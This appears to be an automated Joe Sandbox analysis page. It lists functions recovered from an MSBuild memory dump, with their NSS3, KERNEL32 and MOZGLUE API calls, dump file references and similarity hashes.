Instruction Fuzzy Hash: CE313CB4A012119FDB04CF15D980E62B7F8FF88318B1681A9ED0D8B756E730E814CBA1

Function 6CC34FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CC3B60F,00000000), ref: 6CC35003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CC3B60F,00000000), ref: 6CC3501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6CC3B60F,00000000), ref: 6CC3504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6CC3B60F,00000000), ref: 6CC35064

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 9a929109147151566576da02a6613a0cac64ff11819a77bd0f532c7b6a1e8a47
Instruction ID: 16cc22018b086d0a58b59f5c34d699d1f103f7ddeb1893c119f4899306402b74
Opcode Fuzzy Hash: 9a929109147151566576da02a6613a0cac64ff11819a77bd0f532c7b6a1e8a47
Instruction Fuzzy Hash: 543146B0A04616CFDB00EF68D48466ABBF4FF09308B148969D999D7701E731E895CBD2

Function 6CC62DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CC62E08

Part of subcall function 6CC514C0: TlsGetValue.KERNEL32 ref: 6CC514E0
Part of subcall function 6CC514C0: EnterCriticalSection.KERNEL32 ref: 6CC514F5
Part of subcall function 6CC514C0: PR_Unlock.NSS3 ref: 6CC5150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CC62E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CC62E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC62E95

Part of subcall function 6CC51200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CBF88A4,00000000,00000000), ref: 6CC51228
Part of subcall function 6CC51200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CC51238
Part of subcall function 6CC51200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CBF88A4,00000000,00000000), ref: 6CC5124B
Part of subcall function 6CC51200: PR_CallOnce.NSS3(6CD52AA4,6CC512D0,00000000,00000000,00000000,?,6CBF88A4,00000000,00000000), ref: 6CC5125D
Part of subcall function 6CC51200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CC5126F
Part of subcall function 6CC51200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CC51280
Part of subcall function 6CC51200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CC5128E
Part of subcall function 6CC51200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CC5129A
Part of subcall function 6CC51200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CC512A1

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 25bce434ae78c300f5308e54eabe290c9f50ee2821a4ab400213e8e941dadce4
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: D52108B1D107454BE700CF569E98BAB3764AFA134DF110279DD085BB42F7B1E6A8C392

Function 6CBF69B0 Relevance: 6.1, APIs: 4, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(6CBF6AB7,0000000C,00000001,00000000,?,?,6CBF6AB7,?,00000000,?), ref: 6CBF69CE

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

SEC_ASN1EncodeItem_Util.NSS3(6CBF6AB7,0000001C,00000004,?,00000001,00000000), ref: 6CBF6A06
SEC_ASN1EncodeItem_Util.NSS3(6CBF6AB7,?,00000000,?,00000001,00000000,?,?,6CBF6AB7,?,00000000,?), ref: 6CBF6A2D
PR_SetError.NSS3(FFFFE005,00000000,00000001,00000000,?,?,6CBF6AB7,?,00000000,?), ref: 6CBF6A42

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Util$ArenaEncodeItem_Value$Alloc_AllocateCriticalEnterErrorSectionUnlock
String ID:
API String ID: 4031546487-0
Opcode ID: 2df3d3f8523b9f72675b0d56a7dab2ca6cc4b1dc89613633710adc930747dd76
Instruction ID: 8388f8b2265851abe700e47b05fe9a0e4a745e56205c474399f29859122bb5f7
Opcode Fuzzy Hash: 2df3d3f8523b9f72675b0d56a7dab2ca6cc4b1dc89613633710adc930747dd76
Instruction Fuzzy Hash: FB11CE71A40285AFE710CE29DC80B5673ACEB4425CF60C529EE29C3F41F731E81AC7A2

Function 6CC1ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CC1ACC2

Part of subcall function 6CBF2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CBF2F0A
Part of subcall function 6CBF2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CBF2F1D

Part of subcall function 6CBF2AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CBF0A1B,00000000), ref: 6CBF2AF0
Part of subcall function 6CBF2AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBF2B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CC1AD5E

Part of subcall function 6CC357D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CBFB41E,00000000,00000000,?,00000000,?,6CBFB41E,00000000,00000000,00000001,?), ref: 6CC357E0
Part of subcall function 6CC357D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CC35843

CERT_DestroyCertList.NSS3(?), ref: 6CC1AD36

Part of subcall function 6CBF2F50: CERT_DestroyCertificate.NSS3(?), ref: 6CBF2F65
Part of subcall function 6CBF2F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CBF2F83

free.MOZGLUE(?), ref: 6CC1AD4F

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: e4cc7aa9715d91e4aab9c6fdd9e08a174aec345171f97bd003fdabe3ceec20e4
Instruction ID: a7088e1012904777c55eb88b6c34cd4acc2897b8446dcf19c4c55402e78dd249
Opcode Fuzzy Hash: e4cc7aa9715d91e4aab9c6fdd9e08a174aec345171f97bd003fdabe3ceec20e4
Instruction Fuzzy Hash: AA21C6B1D102548BEB10EF66D8055EEB7B4AF45358F054068D81877B10FB31AA5ECBE2

Function 6CC4ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CC4F0AD,6CC4F150,?,6CC4F150,?,?,?), ref: 6CC4ECBA

Part of subcall function 6CC50FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CBF87ED,00000800,6CBEEF74,00000000), ref: 6CC51000
Part of subcall function 6CC50FF0: PR_NewLock.NSS3(?,00000800,6CBEEF74,00000000), ref: 6CC51016
Part of subcall function 6CC50FF0: PL_InitArenaPool.NSS3(00000000,security,6CBF87ED,00000008,?,00000800,6CBEEF74,00000000), ref: 6CC5102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CC4ECD1

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CC4ED02

Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CC4ED5A

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: a1a0428a235d2c3d7772a88f980904a02de071c43e93f4af4d16bc9be5745834
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: FE2162B19007425BE700CF25D944B52B7E4BFE5348F16C259E81C87661F770E5A4C7D5

Function 6CC1C860 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

PK11_IsLoggedIn.NSS3(?,?), ref: 6CC1C890

Part of subcall function 6CC18F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC18FAF
Part of subcall function 6CC18F70: PR_Now.NSS3(?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC18FD1
Part of subcall function 6CC18F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC18FFA
Part of subcall function 6CC18F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CC19013
Part of subcall function 6CC18F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CC19042
Part of subcall function 6CC18F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC1905A
Part of subcall function 6CC18F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CC19073
Part of subcall function 6CC18F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CC19111

PR_GetCurrentThread.NSS3 ref: 6CC1C8B2

Part of subcall function 6CCB9BF0: TlsGetValue.KERNEL32(?,?,?,6CD00A75), ref: 6CCB9C07

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CC1C8D0
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC1C8EB

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: K11_Value$CriticalEnterSectionUnlock$AuthenticateCurrentInternalItem_LoggedSlotThreadUtilZfree
String ID:
API String ID: 999015661-0
Opcode ID: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction ID: 42d97f29a2b453b9eb948fe739295e6e9a73a6f86c9bca5bfee8c9dc76dbec23
Opcode Fuzzy Hash: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction Fuzzy Hash: EB01CC66E191116BFB002AB75CC1AFF3A699F4565CF040135FD04A6F01F7618859A3E2

Function 6CC608D0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CC609B3,0000001A,?), ref: 6CC608E9

Part of subcall function 6CC50840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC508B4

SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CC608FD

Part of subcall function 6CC4FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC48D2D,?,00000000,?), ref: 6CC4FB85
Part of subcall function 6CC4FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC4FBB1

SECITEM_AllocItem_Util.NSS3(?,00000000,00000001), ref: 6CC60939
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC60953

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Util$ErrorItem_$AllocAlloc_ArenaCopyFindTag_memcpy
String ID:
API String ID: 2572351645-0
Opcode ID: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction ID: 7a45ba9baa854ffe8fe3abf60c6bea758eb5cc802bc3e6db0e12033e7fe5e024
Opcode Fuzzy Hash: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction Fuzzy Hash: 30012BB16017462FFB049A379D90B67379A9F40218F00843DEC1BD5E41FB32D4148AA9

Function 6CC7EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CC67FFA,?,6CC69767,?,8B7874C0,0000A48E), ref: 6CC7EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CC67FFA,?,6CC69767,?,8B7874C0,0000A48E), ref: 6CC7EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CC67FFA,?,6CC69767,?,8B7874C0,0000A48E), ref: 6CC7EE14

Part of subcall function 6CC50BE0: malloc.MOZGLUE(6CC48D2D,?,00000000,?), ref: 6CC50BF8
Part of subcall function 6CC50BE0: TlsGetValue.KERNEL32(6CC48D2D,?,00000000,?), ref: 6CC50C15

memcpy.VCRUNTIME140(?,?,6CC69767,00000000,00000000,6CC67FFA,?,6CC69767,?,8B7874C0,0000A48E), ref: 6CC7EE33

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 6233e5f976dcfc6afc52a11529da25532e9d2146b00b8f19f5cb17463c26ccfc
Instruction ID: e420789856e3b0f411036e9cb56e739fce0e0cf4bd522f75189e0845f1772b8d
Opcode Fuzzy Hash: 6233e5f976dcfc6afc52a11529da25532e9d2146b00b8f19f5cb17463c26ccfc
Instruction Fuzzy Hash: F91173B2A00706AFE7209E65DC85B86B3ACFB1435DF244939E91986A40F331E46487F2

Function 6CC449C0 Relevance: 6.1, APIs: 4, Instructions: 61COMMON

Download Yara Rule

APIs

Part of subcall function 6CC48800: TlsGetValue.KERNEL32(?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC48821
Part of subcall function 6CC48800: TlsGetValue.KERNEL32(?,?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC4883D
Part of subcall function 6CC48800: EnterCriticalSection.KERNEL32(?,?,?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC48856
Part of subcall function 6CC48800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CC48887
Part of subcall function 6CC48800: PR_Unlock.NSS3(?,?,?,?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC48899

PR_SetError.NSS3 ref: 6CC44A10
TlsGetValue.KERNEL32(6CC3781D,?,6CC2BD28,00CD52E8,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC44A24
EnterCriticalSection.KERNEL32(?,?,?,6CC2BD28,00CD52E8), ref: 6CC44A39
PR_Unlock.NSS3(?,?,?,?,6CC2BD28,00CD52E8), ref: 6CC44A4E

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: 094899ad2152bc63f7eb1baa5fde9c94365b61d89acc0acdc6bcb8bc6c26baaf
Instruction ID: 4979ce32b12e81d119b22b2dbbdf9943588231fba9f2f0e8395b4a29b1424f73
Opcode Fuzzy Hash: 094899ad2152bc63f7eb1baa5fde9c94365b61d89acc0acdc6bcb8bc6c26baaf
Instruction Fuzzy Hash: 292108B5A046008BEB00EF79C58496AB7F8FF55758B118929D9859BB01FB30E888CB91

Function 6CC18DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC18DE7
EnterCriticalSection.KERNEL32 ref: 6CC18DFC
PR_Unlock.NSS3 ref: 6CC18E2D
PR_SetError.NSS3 ref: 6CC18E49

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 306dda3f08e7b7cbbb2a09439674fc25c5e8ff6ceb34165531b9935568322537
Instruction ID: 5bf3b6fa409e496055feafc38ede6faa680504b2e20e9326f38331aceeae616b
Opcode Fuzzy Hash: 306dda3f08e7b7cbbb2a09439674fc25c5e8ff6ceb34165531b9935568322537
Instruction Fuzzy Hash: DC116A75609A009BD700BF79C4886AABBF4BF05714F42496AD98897B00FB30A8948BD2

Function 6CC9AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CC85F17,?,?,?,?,?,?,?,?,6CC8AAD4), ref: 6CC9AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CC85F17,?,?,?,?,?,?,?,?,6CC8AAD4), ref: 6CC9ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CC8AAD4), ref: 6CC9ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CC8AAD4), ref: 6CC9ACDB

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 0e0d365009c89c49de223cdc56804e5344877a112badee31a12a5dee78350c3e
Instruction ID: f2b2229df307a24c539c2ad5527bfe3052b9a679c0c4484c906d923be4e834ef
Opcode Fuzzy Hash: 0e0d365009c89c49de223cdc56804e5344877a112badee31a12a5dee78350c3e
Instruction Fuzzy Hash: 96019EB1A01B019BEB10EF29E909747B7E8BF80A99B104839D95ED7E00E731F018CB90

Function 6CC488E0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,6CC508AA,?), ref: 6CC488F6
EnterCriticalSection.KERNEL32(?,?,?,?,6CC508AA,?), ref: 6CC4890B
PR_NotifyCondVar.NSS3(?,?,?,?,?,6CC508AA,?), ref: 6CC48936
PR_Unlock.NSS3(?,?,?,?,?,6CC508AA,?), ref: 6CC48940

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: CondCriticalEnterNotifySectionUnlockValue
String ID:
API String ID: 959714679-0
